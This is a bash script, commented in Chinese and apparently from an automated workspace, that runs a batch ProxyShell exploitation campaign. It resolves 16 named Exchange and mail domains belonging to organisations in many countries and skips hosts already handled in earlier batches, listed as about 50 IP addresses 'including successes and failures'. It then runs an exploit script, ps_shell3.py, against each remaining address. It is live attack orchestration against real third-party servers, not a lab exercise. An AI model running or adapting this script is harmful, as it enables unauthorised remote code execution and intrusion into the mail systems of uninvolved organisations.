#!/bin/bash
# batch12: 18 域名 ProxyShell, 目标/IP 双重去重, 逐目标 <=305s
cd /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775
LOG=batch12.log
: > $LOG

DOMAINS="
autodiscover.jcbtwo.co.za
autodiscover.sca-apolda.de
autodiscover.svoemnenie.com
exchange.hotelghasr.net
exchange2019.sdoadfs2019.com
mail.arosa.com.ua
mail.dlpxcorp.com
mail.fbc.pro
mail.hleb-dom.ru
mail.tohema.eu
mail.umfolozi.edu.za
nagffm.on3cx.de
npf.wea.li
owa.mag.company
smtp.angop.ao
webmail.vithey.com.kh
"

# 已处理过的目标(历史批次)，直接跳过
SKIP_TARGETS="mail.lenumeric.com www.naritakosuge.com"

# 已处理过的 IP(历史批次台账，含成功与失败)，重复即跳过
SKIP_IPS="103.167.140.144 103.203.133.139 103.25.195.130 103.43.147.15 107.133.227.243 111.118.223.242 116.212.147.149 116.99.59.222 122.53.176.190 169.239.112.169 169.239.112.192 176.53.180.95 188.227.223.185 189.253.148.177 193.243.196.102 193.252.46.131 195.158.18.148 197.245.220.70 197.44.147.70 202.29.64.81 210.183.253.6 212.98.140.119 213.154.0.27 217.168.69.194 2.59.213.137 27.76.172.70 31.47.55.134 41.231.84.161 41.32.68.114 46.175.16.186 5.96.176.66 61.78.123.208 62.30.206.213 76.74.184.55 79.127.113.30 80.147.187.217 81.26.145.178 81.29.135.225 82.138.42.24 82.217.222.47 84.108.134.212 84.42.11.38 87.124.78.37 89.147.201.150 89.147.205.106 91.144.22.84 91.185.29.90 93.242.226.180 178.13.116.71 213.6.54.59"

echo "=== batch12 start $(date +%H:%M:%S) ===" >> $LOG
SEEN=""
for d in $DOMAINS; do
  s=0
  for k in $SKIP_TARGETS; do [ "$d" = "$k" ] && s=1; done
  if [ $s -eq 1 ]; then echo "SKIP(dup-target) $d" >> $LOG; continue; fi

  ip=$(python3 -c "
import socket
try: print(socket.gethostbyname('$d'))
except Exception: print('')
" 2>/dev/null)
  if [ -z "$ip" ]; then echo "SKIP(no-dns) $d" >> $LOG; continue; fi

  dup=0
  for x in $SEEN $SKIP_IPS; do [ "$x" = "$ip" ] && dup=1; done
  if [ $dup -eq 1 ]; then echo "SKIP(dup-ip=$ip) $d" >> $LOG; continue; fi
  SEEN="$SEEN $ip"

  echo "--- TARGET $d ($ip) $(date +%H:%M:%S) ---" >> $LOG
  timeout 305 python3 -u ps_shell3.py "$ip" 275 >> $LOG 2>&1
  echo "--- done $d rc=$? $(date +%H:%M:%S) ---" >> $LOG
done
echo "=== ALL DONE $(date +%H:%M:%S) ===" >> $LOG
